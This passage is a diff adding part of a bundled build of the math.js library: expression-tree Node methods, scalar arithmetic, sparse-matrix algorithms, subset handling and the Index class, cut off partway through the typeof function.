+ + + Node.prototype.forEach = function (callback) { + // must be implemented by each of the Node implementations + throw new Error('Cannot run forEach on a Node interface'); + }; + /** + * Create a new Node having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {OperatorNode} Returns a transformed copy of the node + */ + + + Node.prototype.map = function (callback) { + // must be implemented by each of the Node implementations + throw new Error('Cannot run map on a Node interface'); + }; + /** + * Validate whether an object is a Node, for use with map + * @param {Node} node + * @returns {Node} Returns the input if it's a node, else throws an Error + * @protected + */ + + + Node.prototype._ifNode = function (node) { + if (!type.isNode(node)) { + throw new TypeError('Callback function must return a Node'); + } + + return node; + }; + /** + * Recursively traverse all nodes in a node tree. Executes given callback for + * this node and each of its child nodes. + * @param {function(node: Node, path: string, parent: Node)} callback + * A callback called for every node in the node tree. + */ + + + Node.prototype.traverse = function (callback) { + // execute callback for itself + callback(this, null, null); // eslint-disable-line standard/no-callback-literal + // recursively traverse over all childs of a node + + function _traverse(node, callback) { + node.forEach(function (child, path, parent) { + callback(child, path, parent); + + _traverse(child, callback); + }); + } + + _traverse(this, callback); + }; + /** + * Recursively transform a node tree via a transform function. + * + * For example, to replace all nodes of type SymbolNode having name 'x' with a + * ConstantNode with value 2: + * + * const res = Node.transform(function (node, path, parent) { + * if (node && node.isSymbolNode) && (node.name === 'x')) { + * return new ConstantNode(2) + * } + * else { + * return node + * } + * }) + * + * @param {function(node: Node, path: string, parent: Node) : Node} callback + * A mapping function accepting a node, and returning + * a replacement for the node or the original node. + * Signature: callback(node: Node, index: string, parent: Node) : Node + * @return {Node} Returns the original node or its replacement + */ + + + Node.prototype.transform = function (callback) { + // traverse over all childs + function _transform(node, callback) { + return node.map(function (child, path, parent) { + var replacement = callback(child, path, parent); + return _transform(replacement, callback); + }); + } + + var replacement = callback(this, null, null); // eslint-disable-line standard/no-callback-literal + + return _transform(replacement, callback); + }; + /** + * Find any node in the node tree matching given filter function. For example, to + * find all nodes of type SymbolNode having name 'x': + * + * const results = Node.filter(function (node) { + * return (node && node.isSymbolNode) && (node.name === 'x') + * }) + * + * @param {function(node: Node, path: string, parent: Node) : Node} callback + * A test function returning true when a node matches, and false + * otherwise. Function signature: + * callback(node: Node, index: string, parent: Node) : boolean + * @return {Node[]} nodes An array with nodes matching given filter criteria + */ + + + Node.prototype.filter = function (callback) { + var nodes = []; + this.traverse(function (node, path, parent) { + if (callback(node, path, parent)) { + nodes.push(node); + } + }); + return nodes; + }; // TODO: deprecated since version 1.1.0, remove this some day + + + Node.prototype.find = function () { + throw new Error('Function Node.find is deprecated. Use Node.filter instead.'); + }; // TODO: deprecated since version 1.1.0, remove this some day + + + Node.prototype.match = function () { + throw new Error('Function Node.match is deprecated. See functions Node.filter, Node.transform, Node.traverse.'); + }; + /** + * Create a shallow clone of this node + * @return {Node} + */ + + + Node.prototype.clone = function () { + // must be implemented by each of the Node implementations + throw new Error('Cannot clone a Node interface'); + }; + /** + * Create a deep clone of this node + * @return {Node} + */ + + + Node.prototype.cloneDeep = function () { + return this.map(function (node) { + return node.cloneDeep(); + }); + }; + /** + * Deep compare this node with another node. + * @param {Node} other + * @return {boolean} Returns true when both nodes are of the same type and + * contain the same values (as do their childs) + */ + + + Node.prototype.equals = function (other) { + return other ? deepEqual(this, other) : false; + }; + /** + * Get string representation. (wrapper function) + * + * This function can get an object of the following form: + * { + * handler: //This can be a callback function of the form + * // "function callback(node, options)"or + * // a map that maps function names (used in FunctionNodes) + * // to callbacks + * parenthesis: "keep" //the parenthesis option (This is optional) + * } + * + * @param {Object} [options] + * @return {string} + */ + + + Node.prototype.toString = function (options) { + var customString; + + if (options && _typeof(options) === 'object') { + switch (_typeof(options.handler)) { + case 'object': + case 'undefined': + break; + + case 'function': + customString = options.handler(this, options); + break; + + default: + throw new TypeError('Object or function expected as callback'); + } + } + + if (typeof customString !== 'undefined') { + return customString; + } + + return this._toString(options); + }; + /** + * Get a JSON representation of the node + * Both .toJSON() and the static .fromJSON(json) should be implemented by all + * implementations of Node + * @returns {Object} + */ + + + Node.prototype.toJSON = function () { + throw new Error('Cannot serialize object: toJSON not implemented by ' + this.type); + }; + /** + * Get HTML representation. (wrapper function) + * + * This function can get an object of the following form: + * { + * handler: //This can be a callback function of the form + * // "function callback(node, options)" or + * // a map that maps function names (used in FunctionNodes) + * // to callbacks + * parenthesis: "keep" //the parenthesis option (This is optional) + * } + * + * @param {Object} [options] + * @return {string} + */ + + + Node.prototype.toHTML = function (options) { + var customString; + + if (options && _typeof(options) === 'object') { + switch (_typeof(options.handler)) { + case 'object': + case 'undefined': + break; + + case 'function': + customString = options.handler(this, options); + break; + + default: + throw new TypeError('Object or function expected as callback'); + } + } + + if (typeof customString !== 'undefined') { + return customString; + } + + return this.toHTML(options); + }; + /** + * Internal function to generate the string output. + * This has to be implemented by every Node + * + * @throws {Error} + */ + + + Node.prototype._toString = function () { + // must be implemented by each of the Node implementations + throw new Error('_toString not implemented for ' + this.type); + }; + /** + * Get LaTeX representation. (wrapper function) + * + * This function can get an object of the following form: + * { + * handler: //This can be a callback function of the form + * // "function callback(node, options)"or + * // a map that maps function names (used in FunctionNodes) + * // to callbacks + * parenthesis: "keep" //the parenthesis option (This is optional) + * } + * + * @param {Object} [options] + * @return {string} + */ + + + Node.prototype.toTex = function (options) { + var customTex; + + if (options && _typeof(options) === 'object') { + switch (_typeof(options.handler)) { + case 'object': + case 'undefined': + break; + + case 'function': + customTex = options.handler(this, options); + break; + + default: + throw new TypeError('Object or function expected as callback'); + } + } + + if (typeof customTex !== 'undefined') { + return customTex; + } + + return this._toTex(options); + }; + /** + * Internal function to generate the LaTeX output. + * This has to be implemented by every Node + * + * @param {Object} [options] + * @throws {Error} + */ + + + Node.prototype._toTex = function (options) { + // must be implemented by each of the Node implementations + throw new Error('_toTex not implemented for ' + this.type); + }; + /** + * Get identifier. + * @return {string} + */ + + + Node.prototype.getIdentifier = function () { + return this.type; + }; + /** + * Get the content of the current Node. + * @return {Node} node + **/ + + + Node.prototype.getContent = function () { + return this; + }; + /** + * Validate the symbol names of a scope. + * Throws an error when the scope contains an illegal symbol. + * @param {Object} scope + */ + + + function _validateScope(scope) { + for (var symbol in scope) { + if (hasOwnProperty(scope, symbol)) { + if (symbol in keywords) { + throw new Error('Scope contains an illegal symbol, "' + symbol + '" is a reserved keyword'); + } + } + } + } + + return Node; +} + +exports.name = 'Node'; +exports.path = 'expression.node'; +exports.math = true; // request access to the math namespace as 5th argument of the factory function + +exports.factory = factory; + +/***/ }), +/* 17 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Add two scalar values, `x + y`. + * This function is meant for internal use: it is used by the public function + * `add` + * + * This function does not support collections (Array or Matrix), and does + * not validate the number of of inputs. + * + * @param {number | BigNumber | Fraction | Complex | Unit} x First value to add + * @param {number | BigNumber | Fraction | Complex} y Second value to add + * @return {number | BigNumber | Fraction | Complex | Unit} Sum of `x` and `y` + * @private + */ + var add = typed('add', { + 'number, number': function numberNumber(x, y) { + return x + y; + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return x.add(y); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.plus(y); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.add(y); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (x.value === null || x.value === undefined) throw new Error('Parameter x contains a unit with undefined value'); + if (y.value === null || y.value === undefined) throw new Error('Parameter y contains a unit with undefined value'); + if (!x.equalBase(y)) throw new Error('Units do not match'); + var res = x.clone(); + res.value = add(res.value, y.value); + res.fixPrefix = false; + return res; + } + }); + return add; +} + +exports.factory = factory; + +/***/ }), +/* 18 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var DenseMatrix = type.DenseMatrix; + /** + * Iterates over SparseMatrix items and invokes the callback function f(Dij, Sij). + * Callback function invoked M*N times. + * + * + * ┌ f(Dij, Sij) ; S(i,j) !== 0 + * C(i,j) = ┤ + * └ f(Dij, 0) ; otherwise + * + * + * @param {Matrix} denseMatrix The DenseMatrix instance (D) + * @param {Matrix} sparseMatrix The SparseMatrix instance (C) + * @param {Function} callback The f(Dij,Sij) operation to invoke, where Dij = DenseMatrix(i,j) and Sij = SparseMatrix(i,j) + * @param {boolean} inverse A true value indicates callback should be invoked f(Sij,Dij) + * + * @return {Matrix} DenseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97477571 + */ + + var algorithm03 = function algorithm03(denseMatrix, sparseMatrix, callback, inverse) { + // dense matrix arrays + var adata = denseMatrix._data; + var asize = denseMatrix._size; + var adt = denseMatrix._datatype; // sparse matrix arrays + + var bvalues = sparseMatrix._values; + var bindex = sparseMatrix._index; + var bptr = sparseMatrix._ptr; + var bsize = sparseMatrix._size; + var bdt = sparseMatrix._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // sparse matrix cannot be a Pattern matrix + + + if (!bvalues) { + throw new Error('Cannot perform operation on Dense Matrix and Pattern Sparse Matrix'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result (DenseMatrix) + + + var cdata = []; // initialize dense matrix + + for (var z = 0; z < rows; z++) { + // initialize row + cdata[z] = []; + } // workspace + + + var x = []; // marks indicating we have a value in x for a given column + + var w = []; // loop columns in b + + for (var j = 0; j < columns; j++) { + // column mark + var mark = j + 1; // values in column j + + for (var k0 = bptr[j], k1 = bptr[j + 1], k = k0; k < k1; k++) { + // row + var i = bindex[k]; // update workspace + + x[i] = inverse ? cf(bvalues[k], adata[i][j]) : cf(adata[i][j], bvalues[k]); + w[i] = mark; + } // process workspace + + + for (var y = 0; y < rows; y++) { + // check we have a calculated value for current row + if (w[y] === mark) { + // use calculated value + cdata[y][j] = x[y]; + } else { + // calculate value + cdata[y][j] = inverse ? cf(zero, adata[y][j]) : cf(adata[y][j], zero); + } + } + } // return dense matrix + + + return new DenseMatrix({ + data: cdata, + size: [rows, columns], + datatype: dt + }); + }; + + return algorithm03; +} + +exports.name = 'algorithm03'; +exports.factory = factory; + +/***/ }), +/* 19 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var DenseMatrix = type.DenseMatrix; + /** + * Iterates over SparseMatrix S nonzero items and invokes the callback function f(Sij, b). + * Callback function invoked MxN times. + * + * + * ┌ f(Sij, b) ; S(i,j) !== 0 + * C(i,j) = ┤ + * └ f(0, b) ; otherwise + * + * + * @param {Matrix} s The SparseMatrix instance (S) + * @param {Scalar} b The Scalar value + * @param {Function} callback The f(Aij,b) operation to invoke + * @param {boolean} inverse A true value indicates callback should be invoked f(b,Sij) + * + * @return {Matrix} DenseMatrix (C) + * + * https://github.com/josdejong/mathjs/pull/346#issuecomment-97626813 + */ + + var algorithm12 = function algorithm12(s, b, callback, inverse) { + // sparse matrix arrays + var avalues = s._values; + var aindex = s._index; + var aptr = s._ptr; + var asize = s._size; + var adt = s._datatype; // sparse matrix cannot be a Pattern matrix + + if (!avalues) { + throw new Error('Cannot perform operation on Pattern Sparse Matrix and Scalar value'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string') { + // datatype + dt = adt; // convert b to the same datatype + + b = typed.convert(b, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cdata = []; // matrix + + var c = new DenseMatrix({ + data: cdata, + size: [rows, columns], + datatype: dt + }); // workspaces + + var x = []; // marks indicating we have a value in x for a given column + + var w = []; // loop columns + + for (var j = 0; j < columns; j++) { + // columns mark + var mark = j + 1; // values in j + + for (var k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + var r = aindex[k]; // update workspace + + x[r] = avalues[k]; + w[r] = mark; + } // loop rows + + + for (var i = 0; i < rows; i++) { + // initialize C on first column + if (j === 0) { + // create row array + cdata[i] = []; + } // check sparse matrix has a value @ i,j + + + if (w[i] === mark) { + // invoke callback, update C + cdata[i][j] = inverse ? cf(b, x[i]) : cf(x[i], b); + } else { + // dense matrix value @ i, j + cdata[i][j] = inverse ? cf(b, 0) : cf(0, b); + } + } + } // return sparse matrix + + + return c; + }; + + return algorithm12; +} + +exports.name = 'algorithm12'; +exports.factory = factory; + +/***/ }), +/* 20 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var equalScalar = load(__webpack_require__(11)); + var SparseMatrix = type.SparseMatrix; + /** + * Iterates over SparseMatrix S nonzero items and invokes the callback function f(Sij, b). + * Callback function invoked NZ times (number of nonzero items in S). + * + * + * ┌ f(Sij, b) ; S(i,j) !== 0 + * C(i,j) = ┤ + * └ 0 ; otherwise + * + * + * @param {Matrix} s The SparseMatrix instance (S) + * @param {Scalar} b The Scalar value + * @param {Function} callback The f(Aij,b) operation to invoke + * @param {boolean} inverse A true value indicates callback should be invoked f(b,Sij) + * + * @return {Matrix} SparseMatrix (C) + * + * https://github.com/josdejong/mathjs/pull/346#issuecomment-97626813 + */ + + var algorithm11 = function algorithm11(s, b, callback, inverse) { + // sparse matrix arrays + var avalues = s._values; + var aindex = s._index; + var aptr = s._ptr; + var asize = s._size; + var adt = s._datatype; // sparse matrix cannot be a Pattern matrix + + if (!avalues) { + throw new Error('Cannot perform operation on Pattern Sparse Matrix and Scalar value'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string') { + // datatype + dt = adt; // find signature that matches (dt, dt) + + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); // convert b to the same datatype + + b = typed.convert(b, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cvalues = []; + var cindex = []; + var cptr = []; // matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [rows, columns], + datatype: dt + }); // loop columns + + for (var j = 0; j < columns; j++) { + // initialize ptr + cptr[j] = cindex.length; // values in j + + for (var k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + var i = aindex[k]; // invoke callback + + var v = inverse ? cf(b, avalues[k]) : cf(avalues[k], b); // check value is zero + + if (!eq(v, zero)) { + // push index & value + cindex.push(i); + cvalues.push(v); + } + } + } // update ptr + + + cptr[columns] = cindex.length; // return sparse matrix + + return c; + }; + + return algorithm11; +} + +exports.name = 'algorithm11'; +exports.factory = factory; + +/***/ }), +/* 21 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Multiply two scalar values, `x * y`. + * This function is meant for internal use: it is used by the public function + * `multiply` + * + * This function does not support collections (Array or Matrix), and does + * not validate the number of of inputs. + * + * @param {number | BigNumber | Fraction | Complex | Unit} x First value to multiply + * @param {number | BigNumber | Fraction | Complex} y Second value to multiply + * @return {number | BigNumber | Fraction | Complex | Unit} Multiplication of `x` and `y` + * @private + */ + var multiplyScalar = typed('multiplyScalar', { + 'number, number': function numberNumber(x, y) { + return x * y; + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return x.mul(y); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.times(y); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.mul(y); + }, + 'number | Fraction | BigNumber | Complex, Unit': function numberFractionBigNumberComplexUnit(x, y) { + var res = y.clone(); + res.value = res.value === null ? res._normalize(x) : multiplyScalar(res.value, x); + return res; + }, + 'Unit, number | Fraction | BigNumber | Complex': function UnitNumberFractionBigNumberComplex(x, y) { + var res = x.clone(); + res.value = res.value === null ? res._normalize(y) : multiplyScalar(res.value, y); + return res; + }, + 'Unit, Unit': function UnitUnit(x, y) { + return x.multiply(y); + } + }); + return multiplyScalar; +} + +exports.factory = factory; + +/***/ }), +/* 22 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var IndexError = __webpack_require__(48); +/** + * Transform zero-based indices to one-based indices in errors + * @param {Error} err + * @returns {Error} Returns the transformed error + */ + + +exports.transform = function (err) { + if (err && err.isIndexError) { + return new IndexError(err.index + 1, err.min + 1, err.max !== undefined ? err.max + 1 : undefined); + } + + return err; +}; + +/***/ }), +/* 23 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var validateIndex = __webpack_require__(2).validateIndex; + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +var setSafeProperty = __webpack_require__(13).setSafeProperty; + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Get or set a subset of a matrix or string. + * + * Syntax: + * math.subset(value, index) // retrieve a subset + * math.subset(value, index, replacement [, defaultValue]) // replace a subset + * + * Examples: + * + * // get a subset + * const d = [[1, 2], [3, 4]] + * math.subset(d, math.index(1, 0)) // returns 3 + * math.subset(d, math.index([0, 1], 1)) // returns [[2], [4]] + * + * // replace a subset + * const e = [] + * const f = math.subset(e, math.index(0, [0, 2]), [5, 6]) // f = [[5, 6]] + * const g = math.subset(f, math.index(1, 1), 7, 0) // g = [[5, 6], [0, 7]] + * + * See also: + * + * size, resize, squeeze, index + * + * @param {Array | Matrix | string} matrix An array, matrix, or string + * @param {Index} index An index containing ranges for each + * dimension + * @param {*} [replacement] An array, matrix, or scalar. + * If provided, the subset is replaced with replacement. + * If not provided, the subset is returned + * @param {*} [defaultValue=undefined] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * math.matrix elements will be left undefined. + * @return {Array | Matrix | string} Either the retrieved subset or the updated matrix. + */ + + var subset = typed('subset', { + // get subset + 'Array, Index': function ArrayIndex(value, index) { + var m = matrix(value); + var subset = m.subset(index); // returns a Matrix + + return index.isScalar() ? subset : subset.valueOf(); // return an Array (like the input) + }, + 'Matrix, Index': function MatrixIndex(value, index) { + return value.subset(index); + }, + 'Object, Index': _getObjectProperty, + 'string, Index': _getSubstring, + // set subset + 'Array, Index, any': function ArrayIndexAny(value, index, replacement) { + return matrix(clone(value)).subset(index, replacement, undefined).valueOf(); + }, + 'Array, Index, any, any': function ArrayIndexAnyAny(value, index, replacement, defaultValue) { + return matrix(clone(value)).subset(index, replacement, defaultValue).valueOf(); + }, + 'Matrix, Index, any': function MatrixIndexAny(value, index, replacement) { + return value.clone().subset(index, replacement); + }, + 'Matrix, Index, any, any': function MatrixIndexAnyAny(value, index, replacement, defaultValue) { + return value.clone().subset(index, replacement, defaultValue); + }, + 'string, Index, string': _setSubstring, + 'string, Index, string, string': _setSubstring, + 'Object, Index, any': _setObjectProperty + }); + subset.toTex = undefined; // use default template + + return subset; + /** + * Retrieve a subset of a string + * @param {string} str string from which to get a substring + * @param {Index} index An index containing ranges for each dimension + * @returns {string} substring + * @private + */ + + function _getSubstring(str, index) { + if (!type.isIndex(index)) { + // TODO: better error message + throw new TypeError('Index expected'); + } + + if (index.size().length !== 1) { + throw new DimensionError(index.size().length, 1); + } // validate whether the range is out of range + + + var strLen = str.length; + validateIndex(index.min()[0], strLen); + validateIndex(index.max()[0], strLen); + var range = index.dimension(0); + var substr = ''; + range.forEach(function (v) { + substr += str.charAt(v); + }); + return substr; + } + /** + * Replace a substring in a string + * @param {string} str string to be replaced + * @param {Index} index An index containing ranges for each dimension + * @param {string} replacement Replacement string + * @param {string} [defaultValue] Default value to be uses when resizing + * the string. is ' ' by default + * @returns {string} result + * @private + */ + + + function _setSubstring(str, index, replacement, defaultValue) { + if (!index || index.isIndex !== true) { + // TODO: better error message + throw new TypeError('Index expected'); + } + + if (index.size().length !== 1) { + throw new DimensionError(index.size().length, 1); + } + + if (defaultValue !== undefined) { + if (typeof defaultValue !== 'string' || defaultValue.length !== 1) { + throw new TypeError('Single character expected as defaultValue'); + } + } else { + defaultValue = ' '; + } + + var range = index.dimension(0); + var len = range.size()[0]; + + if (len !== replacement.length) { + throw new DimensionError(range.size()[0], replacement.length); + } // validate whether the range is out of range + + + var strLen = str.length; + validateIndex(index.min()[0]); + validateIndex(index.max()[0]); // copy the string into an array with characters + + var chars = []; + + for (var i = 0; i < strLen; i++) { + chars[i] = str.charAt(i); + } + + range.forEach(function (v, i) { + chars[v] = replacement.charAt(i[0]); + }); // initialize undefined characters with a space + + if (chars.length > strLen) { + for (var _i = strLen - 1, _len = chars.length; _i < _len; _i++) { + if (!chars[_i]) { + chars[_i] = defaultValue; + } + } + } + + return chars.join(''); + } +} +/** + * Retrieve a property from an object + * @param {Object} object + * @param {Index} index + * @return {*} Returns the value of the property + * @private + */ + + +function _getObjectProperty(object, index) { + if (index.size().length !== 1) { + throw new DimensionError(index.size(), 1); + } + + var key = index.dimension(0); + + if (typeof key !== 'string') { + throw new TypeError('String expected as index to retrieve an object property'); + } + + return getSafeProperty(object, key); +} +/** + * Set a property on an object + * @param {Object} object + * @param {Index} index + * @param {*} replacement + * @return {*} Returns the updated object + * @private + */ + + +function _setObjectProperty(object, index, replacement) { + if (index.size().length !== 1) { + throw new DimensionError(index.size(), 1); + } + + var key = index.dimension(0); + + if (typeof key !== 'string') { + throw new TypeError('String expected as index to retrieve an object property'); + } // clone the object, and apply the property to the clone + + + var updated = clone(object); + setSafeProperty(updated, key, replacement); + return updated; +} + +exports.name = 'subset'; +exports.factory = factory; + +/***/ }), +/* 24 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type) { + /** + * Create an index. An Index can store ranges and sets for multiple dimensions. + * Matrix.get, Matrix.set, and math.subset accept an Index as input. + * + * Usage: + * const index = new Index(range1, range2, matrix1, array1, ...) + * + * Where each parameter can be any of: + * A number + * A string (containing a name of an object property) + * An instance of Range + * An Array with the Set values + * A Matrix with the Set values + * + * The parameters start, end, and step must be integer numbers. + * + * @class Index + * @Constructor Index + * @param {...*} ranges + */ + function Index(ranges) { + if (!(this instanceof Index)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this._dimensions = []; + this._isScalar = true; + + for (var i = 0, ii = arguments.length; i < ii; i++) { + var arg = arguments[i]; + + if (type.isRange(arg)) { + this._dimensions.push(arg); + + this._isScalar = false; + } else if (Array.isArray(arg) || type.isMatrix(arg)) { + // create matrix + var m = _createImmutableMatrix(arg.valueOf()); + + this._dimensions.push(m); // size + + + var size = m.size(); // scalar + + if (size.length !== 1 || size[0] !== 1) { + this._isScalar = false; + } + } else if (typeof arg === 'number') { + this._dimensions.push(_createImmutableMatrix([arg])); + } else if (typeof arg === 'string') { + // object property (arguments.count should be 1) + this._dimensions.push(arg); + } else { + throw new TypeError('Dimension must be an Array, Matrix, number, string, or Range'); + } // TODO: implement support for wildcard '*' + + } + } + /** + * Attach type information + */ + + + Index.prototype.type = 'Index'; + Index.prototype.isIndex = true; + + function _createImmutableMatrix(arg) { + // loop array elements + for (var i = 0, l = arg.length; i < l; i++) { + if (typeof arg[i] !== 'number' || !isInteger(arg[i])) { + throw new TypeError('Index parameters must be positive integer numbers'); + } + } // create matrix + + + return new type.ImmutableDenseMatrix(arg); + } + /** + * Create a clone of the index + * @memberof Index + * @return {Index} clone + */ + + + Index.prototype.clone = function () { + var index = new Index(); + index._dimensions = clone(this._dimensions); + index._isScalar = this._isScalar; + return index; + }; + /** + * Create an index from an array with ranges/numbers + * @memberof Index + * @param {Array.} ranges + * @return {Index} index + * @private + */ + + + Index.create = function (ranges) { + var index = new Index(); + Index.apply(index, ranges); + return index; + }; + /** + * Retrieve the size of the index, the number of elements for each dimension. + * @memberof Index + * @returns {number[]} size + */ + + + Index.prototype.size = function () { + var size = []; + + for (var i = 0, ii = this._dimensions.length; i < ii; i++) { + var d = this._dimensions[i]; + size[i] = typeof d === 'string' ? 1 : d.size()[0]; + } + + return size; + }; + /** + * Get the maximum value for each of the indexes ranges. + * @memberof Index + * @returns {number[]} max + */ + + + Index.prototype.max = function () { + var values = []; + + for (var i = 0, ii = this._dimensions.length; i < ii; i++) { + var range = this._dimensions[i]; + values[i] = typeof range === 'string' ? range : range.max(); + } + + return values; + }; + /** + * Get the minimum value for each of the indexes ranges. + * @memberof Index + * @returns {number[]} min + */ + + + Index.prototype.min = function () { + var values = []; + + for (var i = 0, ii = this._dimensions.length; i < ii; i++) { + var range = this._dimensions[i]; + values[i] = typeof range === 'string' ? range : range.min(); + } + + return values; + }; + /** + * Loop over each of the ranges of the index + * @memberof Index + * @param {Function} callback Called for each range with a Range as first + * argument, the dimension as second, and the + * index object as third. + */ + + + Index.prototype.forEach = function (callback) { + for (var i = 0, ii = this._dimensions.length; i < ii; i++) { + callback(this._dimensions[i], i, this); + } + }; + /** + * Retrieve the dimension for the given index + * @memberof Index + * @param {Number} dim Number of the dimension + * @returns {Range | null} range + */ + + + Index.prototype.dimension = function (dim) { + return this._dimensions[dim] || null; + }; + /** + * Test whether this index contains an object property + * @returns {boolean} Returns true if the index is an object property + */ + + + Index.prototype.isObjectProperty = function () { + return this._dimensions.length === 1 && typeof this._dimensions[0] === 'string'; + }; + /** + * Returns the object property name when the Index holds a single object property, + * else returns null + * @returns {string | null} + */ + + + Index.prototype.getObjectProperty = function () { + return this.isObjectProperty() ? this._dimensions[0] : null; + }; + /** + * Test whether this index contains only a single value. + * + * This is the case when the index is created with only scalar values as ranges, + * not for ranges resolving into a single value. + * @memberof Index + * @return {boolean} isScalar + */ + + + Index.prototype.isScalar = function () { + return this._isScalar; + }; + /** + * Expand the Index into an array. + * For example new Index([0,3], [2,7]) returns [[0,1,2], [2,3,4,5,6]] + * @memberof Index + * @returns {Array} array + */ + + + Index.prototype.toArray = function () { + var array = []; + + for (var i = 0, ii = this._dimensions.length; i < ii; i++) { + var dimension = this._dimensions[i]; + array.push(typeof dimension === 'string' ? dimension : dimension.toArray()); + } + + return array; + }; + /** + * Get the primitive value of the Index, a two dimensional array. + * Equivalent to Index.toArray(). + * @memberof Index + * @returns {Array} array + */ + + + Index.prototype.valueOf = Index.prototype.toArray; + /** + * Get the string representation of the index, for example '[2:6]' or '[0:2:10, 4:7, [1,2,3]]' + * @memberof Index + * @returns {String} str + */ + + Index.prototype.toString = function () { + var strings = []; + + for (var i = 0, ii = this._dimensions.length; i < ii; i++) { + var dimension = this._dimensions[i]; + + if (typeof dimension === 'string') { + strings.push(JSON.stringify(dimension)); + } else { + strings.push(dimension.toString()); + } + } + + return '[' + strings.join(', ') + ']'; + }; + /** + * Get a JSON representation of the Index + * @memberof Index + * @returns {Object} Returns a JSON object structured as: + * `{"mathjs": "Index", "ranges": [{"mathjs": "Range", start: 0, end: 10, step:1}, ...]}` + */ + + + Index.prototype.toJSON = function () { + return { + mathjs: 'Index', + dimensions: this._dimensions + }; + }; + /** + * Instantiate an Index from a JSON object + * @memberof Index + * @param {Object} json A JSON object structured as: + * `{"mathjs": "Index", "dimensions": [{"mathjs": "Range", start: 0, end: 10, step:1}, ...]}` + * @return {Index} + */ + + + Index.fromJSON = function (json) { + return Index.create(json.dimensions); + }; + + return Index; +} + +exports.name = 'Index'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 25 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the absolute value of a number. For matrices, the function is + * evaluated element wise. + * + * Syntax: + * + * math.abs(x) + * + * Examples: + * + * math.abs(3.5) // returns number 3.5 + * math.abs(-4.2) // returns number 4.2 + * + * math.abs([3, -5, -1, 0, 2]) // returns Array [3, 5, 1, 0, 2] + * + * See also: + * + * sign + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix | Unit} x + * A number or matrix for which to get the absolute value + * @return {number | BigNumber | Fraction | Complex | Array | Matrix | Unit} + * Absolute value of `x` + */ + var abs = typed('abs', { + 'number': Math.abs, + 'Complex': function Complex(x) { + return x.abs(); + }, + 'BigNumber': function BigNumber(x) { + return x.abs(); + }, + 'Fraction': function Fraction(x) { + return x.abs(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since abs(0) = 0 + return deepMap(x, abs, true); + }, + 'Unit': function Unit(x) { + return x.abs(); + } + }); + abs.toTex = { + 1: "\\left|${args[0]}\\right|" + }; + return abs; +} + +exports.name = 'abs'; +exports.factory = factory; + +/***/ }), +/* 26 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof2(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof2 = function _typeof2(obj) { return typeof obj; }; } else { _typeof2 = function _typeof2(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof2(obj); } + +function factory(type, config, load, typed) { + /** + * Determine the type of a variable. + * + * Function `typeof` recognizes the following types of objects: + * + * Object | Returns | Example + * ---------------------- | ------------- | ------------------------------------------ + * null | `'null'` | `math.typeof(null)` + * number | `'number'` | `math.typeof(3.5)` + * boolean | 